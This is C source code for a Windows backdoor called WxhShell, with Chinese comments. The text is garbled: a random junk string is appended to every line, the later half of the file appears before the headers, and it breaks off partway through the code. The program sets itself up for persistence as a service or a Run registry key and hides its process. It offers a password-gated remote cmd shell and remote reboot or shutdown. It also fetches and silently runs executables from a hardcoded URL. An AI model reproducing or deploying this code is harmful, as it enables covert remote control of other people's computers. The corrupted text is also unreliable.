    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .4"BN<9  
    if(Boot(SHUTDOWN)) D>W&#A8&y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 62'9lriQ  
    else { 4Ps;Cor+  
    closesocket(wsh); pA_u;*  
    ExitThread(0); ~? aFc)  
    } A~nqSe  
    break; M_%KhK  
    } hLZf A rq}  
  // 获取shell A_U=`M=-  
  case 's': { XtZd% #2},  
    CmdShell(wsh); p\;8?x  
    closesocket(wsh); %RtL4"M2j  
    ExitThread(0); zo "L9&Hzo  
    break; U n)Xe  
  } Yq|_6zbYf  
  // 退出 S{&%tj~U  
  case 'x': { ~<K,P   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,T zlW\?\  
    CloseIt(wsh); I|&DXF  
    break; T|BlFJ0"  
    } }2RbX,0l9  
  // 离开 E+XS7':I  
  case 'q': { LB]3-FsU+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K O\HH  
    closesocket(wsh); J>T98y/))  
    WSACleanup(); &XcPHZy'  
    exit(1); z)^.ai,:0  
    break; j~ds)dW%`&  
        } GEVDXx>@  
  } 'do2n/  
  } Uq'W<.v 5  
S{e3aqT#N  
  // 提示信息 u e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P#!g P3  
} m5N,[^-  
  } )ADI[+KW  
_MIheCvV  
  return; n]4Elrxx  
} (#>X*~6  
Fyw X  
// shell模块句柄 u5rvrn ]  
int CmdShell(SOCKET sock) ZaY|v-  
{ <h#W*a  
STARTUPINFO si; o@360#njF  
ZeroMemory(&si,sizeof(si)); f!YlYk5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &P}t<;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |+HJ>xA4I  
PROCESS_INFORMATION ProcessInfo; 7z3tDE[#  
char cmdline[]="cmd"; zJ}abo6rVw  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k.54lNl  
  return 0; EMr|#}]#s  
} 1@'I eywg  
{#?|&n<  
// 自身启动模式 + (:Qf+:  
int StartFromService(void) jf;n*  
{ b#6mUl2  
typedef struct ;J+iwS*Z  
{ s Adb0 A  
  DWORD ExitStatus; 4Lk<5Ho  
  DWORD PebBaseAddress; Dl0{pGK~  
  DWORD AffinityMask; Z~94<*LEp  
  DWORD BasePriority; fNx!'{o"  
  ULONG UniqueProcessId; =?y0fLTc  
  ULONG InheritedFromUniqueProcessId; l}(HE+?  
}   PROCESS_BASIC_INFORMATION; ;(}~m&p  
lAo~w  
PROCNTQSIP NtQueryInformationProcess; .6rbn8h  
W-r^ME  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^4]=D nd%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  ^ b5+A6?  
Io IhQ  
  HANDLE             hProcess; <uFj5.  
  PROCESS_BASIC_INFORMATION pbi; 29Gel  
+Z_VF30pa  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); alzdYiGf  
  if(NULL == hInst ) return 0; tXrKC  
oKz! Xu%Hl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,']CqhL6=R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ( 6zu*H)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D{7^y>8_Y-  
=w!9:I&a0  
  if (!NtQueryInformationProcess) return 0; C]JK'K<7-  
Zz:%KUl3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FhBV.,bU,m  
  if(!hProcess) return 0; E+<GsN]  
_XY(Qd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cQd?,B3#F  
0'A"]6  
  CloseHandle(hProcess); |[#Qk 4Ttf  
%o\+R0K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7p!f+\kM  
if(hProcess==NULL) return 0; C`qV+pV  
JURu>-i  
HMODULE hMod; l9j= ;h  
char procName[255]; s 8K.A~5 w  
unsigned long cbNeeded; 8"d??3ZXJ  
kQ&Q_FSO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z 369<  
G"(aoy, co  
  CloseHandle(hProcess); W<^t2j'  
FaWc:GsfB  
if(strstr(procName,"services")) return 1; // 以服务启动 #>G:6'r  
/!>OWh*~  
  return 0; // 注册表启动 4IY|<  
} ]3 GO_tL  
Oop6o $k  
// 主模块 wmR~e  
int StartWxhshell(LPSTR lpCmdLine) ^@=4HtA  
{ lqrI*@>Tz  
  SOCKET wsl; ,1CmB@  
BOOL val=TRUE; b$nev[`{6  
  int port=0; SQ+r'g  
  struct sockaddr_in door; 1VG]|6f  
t(6i4c>  
  if(wscfg.ws_autoins) Install(); ~9k E.  
^  ~1QA  
port=atoi(lpCmdLine); s%vy^x29  
qW4\t  
if(port<=0) port=wscfg.ws_port; >Sw?F&  
ra^%__N}  
  WSADATA data; Ax=)J{4v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }z9v*C  
&ZFHWI(P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Zi\ex\ )5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >y#qn9rV1  
  door.sin_family = AF_INET; pih 0ME}z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r.Z g<T  
  door.sin_port = htons(port); e87a9ZPm  
$7Z-Nn38  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6#jql  
closesocket(wsl); %B1TN#KoT  
return 1; mv,a>Cvs[  
} T <k;^iqR  
D-i, C~W  
  if(listen(wsl,2) == INVALID_SOCKET) { 6'uCwAQU  
closesocket(wsl); 7l*vmF6Z  
return 1; \=|=(kt)  
} jVoD9H F/  
  Wxhshell(wsl); H!"TS-s`  
  WSACleanup(); PX23M|$!  
/ET+`=n  
return 0; LH_ U#P`E  
1.8"N&s  
} |) &d9|]  
5{DwD{Q  
// 以NT服务方式启动 -U_,RMw~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~g#/q~UE  
{ i+T5 (P$  
DWORD   status = 0; -jrAk  
  DWORD   specificError = 0xfffffff; 5efN5Kt  
BOA7@Zaa$p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7042?\\=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a ^juZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K/}x'*=  
  serviceStatus.dwWin32ExitCode     = 0; {^;7DV:  
  serviceStatus.dwServiceSpecificExitCode = 0; ?uJX  
  serviceStatus.dwCheckPoint       = 0; 2Ir*}s2{  
  serviceStatus.dwWaitHint       = 0; e$Yvy>I'tS  
G^VOA4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bF,.6iKI  
  if (hServiceStatusHandle==0) return; 't*]6^  
?-9uf\2_  
status = GetLastError(); ;0?OBUDO  
  if (status!=NO_ERROR) :mLXB75gH  
{ Hdd3n 6*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '?_~{\9<  
    serviceStatus.dwCheckPoint       = 0; gzW{h0iRr  
    serviceStatus.dwWaitHint       = 0; cCx{ ")  
    serviceStatus.dwWin32ExitCode     = status; ,-(D (J;}1  
    serviceStatus.dwServiceSpecificExitCode = specificError; )xz_ }6b]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eFA,xzp  
    return; KC(z TY  
  } F)imeu  
SGy2&{\Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IBu\Sh-  
  serviceStatus.dwCheckPoint       = 0; Pn@DHYP  
  serviceStatus.dwWaitHint       = 0; cmCD}Skk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H*f2fyC1\  
} /e|qyWs  
8s[1-l  
// 处理NT服务事件,比如:启动、停止 -lv(@7o~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $XkO\6kh  
{ gyh8  
switch(fdwControl) V=1zk-XC  
{ |:2B)X  
case SERVICE_CONTROL_STOP: fWri7|"0h  
  serviceStatus.dwWin32ExitCode = 0; "VoufXM:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;g2UIb?{6  
  serviceStatus.dwCheckPoint   = 0; +7_U( |gO  
  serviceStatus.dwWaitHint     = 0; 0fUsERr1*  
  { &U}8@;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W|n$H`;R  
  } w?N>3`Jnf  
  return; ,PJC FQMR  
case SERVICE_CONTROL_PAUSE: )4:]gx#cr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <1* \ ~CX  
  break; R4k+.hR  
case SERVICE_CONTROL_CONTINUE: [)0^*A2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dmLx$8  
  break; !yq98I'  
case SERVICE_CONTROL_INTERROGATE: /P]N40_@  
  break; CM[83>  
}; 4"!kCUB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B J I N  
} 7#9%,6Yi  
ke<5]&x  
// 标准应用程序主函数 Lh.-*H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >@4AxV\  
{ 3kF+wifsz  
R1%J6wZq  
// 获取操作系统版本 Q%J,: J  
OsIsNt=GetOsVer(); S}]B|Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); OZ"76|H1`  
n^5Q f\o  
  // 从命令行安装 -F3~X R  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5gC> j(  
5e0d;Rd  
  // 下载执行文件 ),j6tq[  
if(wscfg.ws_downexe) { bF+j%=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tw\1&*:  
  WinExec(wscfg.ws_filenam,SW_HIDE); xpwy%uo  
} E m+&I  
Rxlv:  
if(!OsIsNt) { V U5</si+  
// 如果时win9x,隐藏进程并且设置为注册表启动 zx.SRs$  
HideProc(); "sY}@Q7  
StartWxhshell(lpCmdLine); y>gw@+  
} U&a(WQV9&  
else ~.0'v [N  
  if(StartFromService()) '^[+]  
  // 以服务方式启动 w8J8III\~  
  StartServiceCtrlDispatcher(DispatchTable); Zt=P 0  
else y+{)4ptg$<  
  // 普通方式启动 h5-yhG  
  StartWxhshell(lpCmdLine); YmjA!n  
Eelv i5  
return 0; @>J(1{m=Gy  
} 3/]FT#l]i  
y"U)&1 c%  
BB(v,W  
DVKb`KJ"  
=========================================== `R.Pz _oe  
T,vh=UF%]  
Q |S>C%4?  
BS?$eai@:9  
bz~aj}"`  
Rr[Wka9[  
" <63TN`B  
aD_7^8>  
#include <stdio.h> a1%}Ee  
#include <string.h> 8IBr#+0  
#include <windows.h> ib!TXWq  
#include <winsock2.h> A:yql`&s  
#include <winsvc.h> h.l.da1#  
#include <urlmon.h> y c 8 h}`  
KtH^k&z.f  
#pragma comment (lib, "Ws2_32.lib") %^nNt:N0  
#pragma comment (lib, "urlmon.lib") \+l_H4\`K  
qfxEo76'  
#define MAX_USER   100 // 最大客户端连接数 L%QRWhB  
#define BUF_SOCK   200 // sock buffer &?Q^i">cZ  
#define KEY_BUFF   255 // 输入 buffer 6 v~nEw  
t+]1D@hv  
#define REBOOT     0   // 重启 H=g%>W%3  
#define SHUTDOWN   1   // 关机 `<| <1,  
NuUiW*|`7  
#define DEF_PORT   5000 // 监听端口 YG8)`X qC  
,tg(aL  
#define REG_LEN     16   // 注册表键长度 HJ0;BD.]  
#define SVC_LEN     80   // NT服务名长度 6%>'n?  
6?C';1  
// 从dll定义API dG]B-(WTC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?K:. Pa  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S $o1Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B'`25u_e<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EN":}!E:  
g;nLR<]  
// wxhshell配置信息 -o{ x ;:4  
struct WSCFG { ) jvI Nb  
  int ws_port;         // 监听端口 re}PpXRC  
  char ws_passstr[REG_LEN]; // 口令 r)K5<[\r  
  int ws_autoins;       // 安装标记, 1=yes 0=no [?O4l`  
  char ws_regname[REG_LEN]; // 注册表键名 1sonDBd0@;  
  char ws_svcname[REG_LEN]; // 服务名 MuP>#Vk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3]9Rmx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,9_O4O%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wAX;)PLg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ">eled)O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Md~._@`|K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Yh fQ pe  
4dLnX3 v  
}; q5'G]j{,Z  
pPo(nH|<  
// default Wxhshell configuration ?_A[E]/H  
struct WSCFG wscfg={DEF_PORT, d!Gy#<H  
    "xuhuanlingzhe", NqNU:_}  
    1, ~1twGG_;  
    "Wxhshell", }HmkTk  
    "Wxhshell", P3Lsfi.  
            "WxhShell Service", CV\y60n  
    "Wrsky Windows CmdShell Service", vTK8t:JQ~  
    "Please Input Your Password: ", \b8#xT}  
  1, V@b7$z  
  "http://www.wrsky.com/wxhshell.exe", q5z^y(Sv  
  "Wxhshell.exe" 4\*:Lc,-  
    }; w\eC{,00:  
/4c`[  
// 消息定义模块 4Y2I'~'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L=EkY O%\"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WG,1%=M@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^,AE;Z T7  
char *msg_ws_ext="\n\rExit."; Q@>1z*'I  
char *msg_ws_end="\n\rQuit."; a7F_{Mm  
char *msg_ws_boot="\n\rReboot..."; $;Iz7:#jN  
char *msg_ws_poff="\n\rShutdown..."; Jvsy 6R  
char *msg_ws_down="\n\rSave to "; xU0iz{9  
^" 54Q^SH  
char *msg_ws_err="\n\rErr!"; |uw48*t  
char *msg_ws_ok="\n\rOK!"; Fw{@RQf8  
.35~+aqC  
char ExeFile[MAX_PATH]; xE^G*<mj:  
int nUser = 0; =N{?ll6x7g  
HANDLE handles[MAX_USER]; :l!sKT?:d!  
int OsIsNt; /#(IV_Eol  
k} &wy  
SERVICE_STATUS       serviceStatus; Ka-o$o[^u`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JehanF[  
]Sa#g&}T>  
// 函数声明 8]`s&d@GY  
int Install(void); GIcq|Pe  
int Uninstall(void); z uW4gJ  
int DownloadFile(char *sURL, SOCKET wsh); }5(_gYr  
int Boot(int flag); Cb?  !+U  
void HideProc(void); h9<PP2.(  
int GetOsVer(void); X1a~l|$h  
int Wxhshell(SOCKET wsl); &y=OZ !M  
void TalkWithClient(void *cs); n_RZ:<Gr  
int CmdShell(SOCKET sock); t=@d`s:R2  
int StartFromService(void); )j~{P  
int StartWxhshell(LPSTR lpCmdLine); K{/i2^4  
qK#"uU8B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z _\L@b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R+(f~ j'  
3ej237~F,L  
// 数据结构和表定义 ]GY8f3~|{  
SERVICE_TABLE_ENTRY DispatchTable[] = 8Nyz{T[  
{ 'iZwM>l\  
{wscfg.ws_svcname, NTServiceMain}, hp(MKfhH  
{NULL, NULL} 1t &_]q_  
}; wzd(= *N  
"N=$ =Dy >  
// 自我安装 5CN=a2&  
int Install(void) JmK )Y# A  
{ %M'`K  
  char svExeFile[MAX_PATH]; wzwv>@}  
  HKEY key; a6./;OC  
  strcpy(svExeFile,ExeFile); Ib{l$#  
?&eS}skL  
// 如果是win9x系统,修改注册表设为自启动 0[%{YmI{W  
if(!OsIsNt) { Cy6!?Mik  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yx-"&K=`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :LNZC,-f}5  
  RegCloseKey(key); U2<q dknB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H+Bon=$cE!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  =5B5  
  RegCloseKey(key); [#Gu?L_W  
  return 0; @#t<!-8d  
    } E=,5%>C0#%  
  } .`+~mQ Wn  
} Sq_.RU  
else { TsoxS/MI"  
wdBB x\FP  
// 如果是NT以上系统,安装为系统服务 2ns,q0I A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BV>9U5  
if (schSCManager!=0) /]Y#*r8jRi  
{ v@[3R7|4  
  SC_HANDLE schService = CreateService \9V_[xD+  
  ( m]MR\E5]By  
  schSCManager, e4Y+u8gT  
  wscfg.ws_svcname, =UK:83R(  
  wscfg.ws_svcdisp, E2w-b^,5  
  SERVICE_ALL_ACCESS, )rj!/%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5~DKx7P!Z  
  SERVICE_AUTO_START, L3wj vq^  
  SERVICE_ERROR_NORMAL, ]oSx]R>{f  
  svExeFile, YQ d($  
  NULL, fcF|m5  
  NULL, C za }cF  
  NULL, k`N*_/(|n  
  NULL, ">1wPq&  
  NULL K3 BWj33  
  ); ~< UYJc  
  if (schService!=0) tg#jjXV\0p  
  { 1z&"V}y  
  CloseServiceHandle(schService); YQ?hAAJ  
  CloseServiceHandle(schSCManager); 2(3Q#3V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YB7A5  
  strcat(svExeFile,wscfg.ws_svcname); urx?p^c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J9 NuqV3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gTTKjlI [  
  RegCloseKey(key); R,PN?aj  
  return 0; sgK =eBE  
    } w2'z~\dG8  
  } Z'k?lkB2i  
  CloseServiceHandle(schSCManager); 2'M5+[8y8  
} c)^A|{,G  
} AhOBbss]q  
v}t{*P  
return 1; 4+ d(d  
} @aUNyyVP  
F1$XUos9  
// 自我卸载 ,WOCG 2h  
int Uninstall(void) {{P 3Z[  
{ ]6`K  
  HKEY key; JC~sz^>p\  
!] uB4  
if(!OsIsNt) { CStNCBZ|\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kn>qX{W  
  RegDeleteValue(key,wscfg.ws_regname); ]rY9t@  
  RegCloseKey(key); PV"\9OIKb.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Lc}hjK  
  RegDeleteValue(key,wscfg.ws_regname); db1ZNw  
  RegCloseKey(key); ^znUf4N1  
  return 0; &4WA/'>R  
  } w ]T_%mdk  
} ]JGq{I>%+6  
} p.(+L^-=  
else { 6vNn;-gg.  
%4x0^<k~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %{r3"Q=;W  
if (schSCManager!=0) DUu:et&c1  
{ |-{ Hy(9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h+H+>,N8`  
  if (schService!=0) zJ8T.+qJ  
  { dT7f yn  
  if(DeleteService(schService)!=0) { Wkk(6gS,  
  CloseServiceHandle(schService); 3)=ix. wW  
  CloseServiceHandle(schSCManager); |-/@3gPO  
  return 0; L6nsVL&  
  } F^Jz   
  CloseServiceHandle(schService); k^K76mB  
  } {*hFG:u  
  CloseServiceHandle(schSCManager); 7)#JrpTj%  
} #| g h  
} _8 K|2$X  
}eZ \~2  
return 1; Jg'#IM  
} 6 .?0 {2s  
9 $X" D  
// 从指定url下载文件 0$Mxu7 /  
int DownloadFile(char *sURL, SOCKET wsh) Sb2_&5  
{ T^7}Qs9  
  HRESULT hr; 'Bt!X^  
char seps[]= "/"; Gy["_;+xU  
char *token; 1qn/*9W}=  
char *file; X.#9[3U+  
char myURL[MAX_PATH]; FPK=Tr:b  
char myFILE[MAX_PATH]; VK*H1EH1  
.tfal9  
strcpy(myURL,sURL); Ex_dqko  
  token=strtok(myURL,seps); &_;=]t s  
  while(token!=NULL) FG71<}C[K  
  { =>'j_|  
    file=token; PEjd  
  token=strtok(NULL,seps); q*4@d)_&  
  } i}>EGmv m  
NqKeQezX  
GetCurrentDirectory(MAX_PATH,myFILE); [=cbzmX[  
strcat(myFILE, "\\"); c%b|+4 }x  
strcat(myFILE, file); 7],y(:[=v  
  send(wsh,myFILE,strlen(myFILE),0); P;gd!Yl<-  
send(wsh,"...",3,0); {*hGe_^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {y@8E>y5$  
  if(hr==S_OK) =$#5Ge]b  
return 0; kl1Q:  
else {GT5   
return 1; ea$. +  
sEw ?349Bz  
} B!)9 >  
Snmv  
// 系统电源模块 3My}u>  
int Boot(int flag) j<Pw0?~s6  
{ [N[4\W!!  
  HANDLE hToken; 0lq?l:/  
  TOKEN_PRIVILEGES tkp; Bo ywgL|  
6f#Mi+"  
  if(OsIsNt) { Moi RAO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +Gy9K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :si&A;k  
    tkp.PrivilegeCount = 1; ^oq|^O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L?8OWLjRy  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k{X+Y6'ku  
if(flag==REBOOT) { G^L9[c= ,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8?<J,zu@AV  
  return 0; zJ1M$ U  
} I}y6ke!  
else { W!9~bBF',  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8>vNa  
  return 0; {uZ|Oog(p  
} dn=srbJ   
  } SV95g@  
  else { U m`KmM3  
if(flag==REBOOT) { $'!n4}$}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;&?ITV  
  return 0; i,Jz 7OX  
} (A}c22qe  
else { *j1Skd.#At  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ty!V)i  
  return 0; Z!'k N\z  
} g?j^d:  
} "<&o ;x<  
#sv}%oV,F  
return 1; l_2l/ff9  
} L4u.cH J}0  
-s0J8b  
// win9x进程隐藏模块 / )[\+Nc  
void HideProc(void) @LU[po1I  
{ Zcc7 7dRA  
Ew{N 2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); trLxg H_Y  
  if ( hKernel != NULL ) }VH2G94Ll  
  { w+\RSqz/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R[vX+d!7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T I ZkN6  
    FreeLibrary(hKernel);  _ qQ  
  } m^/>C -&C  
*z~J ]  
return; 4 #lLC-k  
} y^{ 4}^u-^  
1T,Bd!g  
// 获取操作系统版本 l`j@QP  
int GetOsVer(void) %A&g-4(  
{ Ia^/^>  
  OSVERSIONINFO winfo; .'-t>(}v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  1&=2"  
  GetVersionEx(&winfo); 9(KffnE^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5':j=KQE_  
  return 1; h=NXU9n%'  
  else 4dSAGLpp  
  return 0; 6,R<8a;Wn  
} >Ij# +=  
l,b_' m@  
// 客户端句柄模块 t#]VR7]  
int Wxhshell(SOCKET wsl) 8L@@UUjr  
{ e5ww~%,  
  SOCKET wsh; RD:LNl<0sh  
  struct sockaddr_in client; = j l( Q  
  DWORD myID; 3`"k1W  
hGUQdTNP  
  while(nUser<MAX_USER) un,W{*s8*  
{ 8h|~>v  
  int nSize=sizeof(client); ]HG> Og  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MAc/ T.[  
  if(wsh==INVALID_SOCKET) return 1; ~~ty9;KYL  
^M1O)   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T?-K}PUcQ  
if(handles[nUser]==0) ; Oz p  
  closesocket(wsh); fX&g. fH  
else Hu!<GB~  
  nUser++; B=%YD"FAv  
  } N,cj[6;T%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n 2(\pQKm  
=G rg  
  return 0; h{E9rc1,  
} kw1Lm1C  
LyNur8 Zi  
// 关闭 socket x1#6~283  
void CloseIt(SOCKET wsh) )YLZ"@  
{ # kmI#W"^  
closesocket(wsh); 6<n+p'+n  
nUser--; ia-&?  
ExitThread(0); ,=}+.ax  
} wqXo]dX  
baf@"P9@\A  
// 客户端请求句柄 V Z60   
void TalkWithClient(void *cs) 6lxZo_  
{ dSzq}w4xY  
k0DX|O8mXV  
  SOCKET wsh=(SOCKET)cs; OadGwa\:s  
  char pwd[SVC_LEN]; QVR-`d/  
  char cmd[KEY_BUFF]; 9Bu=8P?  
char chr[1]; LFQP ysC  
int i,j; DJNM =v  
16N`xw+{  
  while (nUser < MAX_USER) { Vao3 &#D8  
As#/ln$nE  
if(wscfg.ws_passstr) { )|S!k\^A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~eGtoEY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jz_`dLL^ w  
  //ZeroMemory(pwd,KEY_BUFF); qI\B;&hr(  
      i=0; & =vi]z:[  
  while(i<SVC_LEN) { E>}3MfL  
A Rjox`  
  // 设置超时 \,b_8^  
  fd_set FdRead; <$'FTv  
  struct timeval TimeOut; HG})V PBa  
  FD_ZERO(&FdRead); t*!Q9GC_  
  FD_SET(wsh,&FdRead); bd.t|A  
  TimeOut.tv_sec=8; =ThacZHb8  
  TimeOut.tv_usec=0; EF'U`\gX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]P(_ d'}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sMb+4{W&6  
]3yaIlpD1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >K;C?gHo  
  pwd=chr[0]; ljj}X JQ  
  if(chr[0]==0xd || chr[0]==0xa) { <F5x}i~(C  
  pwd=0;  qr7_3  
  break; q%}54E80  
  } sMqAuhw$.  
  i++; e_CgZ  
    } y+a]?`2  
EWoGdH|  
  // 如果是非法用户,关闭 socket KZTT2KsYl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SNf*2~uq)  
} lA7\c#  
\RyW#[(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QW}N,j$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'd=B{7k@  
rc]`PV  
while(1) { .^* .-8q  
O LxiY r  
  ZeroMemory(cmd,KEY_BUFF); Z&0*\.6S~  
k:kx=K5=4  
      // 自动支持客户端 telnet标准   ^0&   
  j=0; Ea[K$NC)#  
  while(j<KEY_BUFF) { o8ADAU"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c27A)`   
  cmd[j]=chr[0]; @,v.Y6Ge  
  if(chr[0]==0xa || chr[0]==0xd) { *H%Jgz,  
  cmd[j]=0; C)`y<O  
  break; elm]e2)F  
  } *H,vqs\}y  
  j++; veh?oJi@  
    } *4F6U  
;3WVrYe  
  // 下载文件 6N'v`p8  
  if(strstr(cmd,"http://")) { N!:&Xz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |\/Y<_)JD  
  if(DownloadFile(cmd,wsh)) ~!a~ -:#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F2RU7o'f.  
  else |cCrLa2*-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ns,qj} #  
  } k~ZE4^dM  
  else { 9.qjEe  
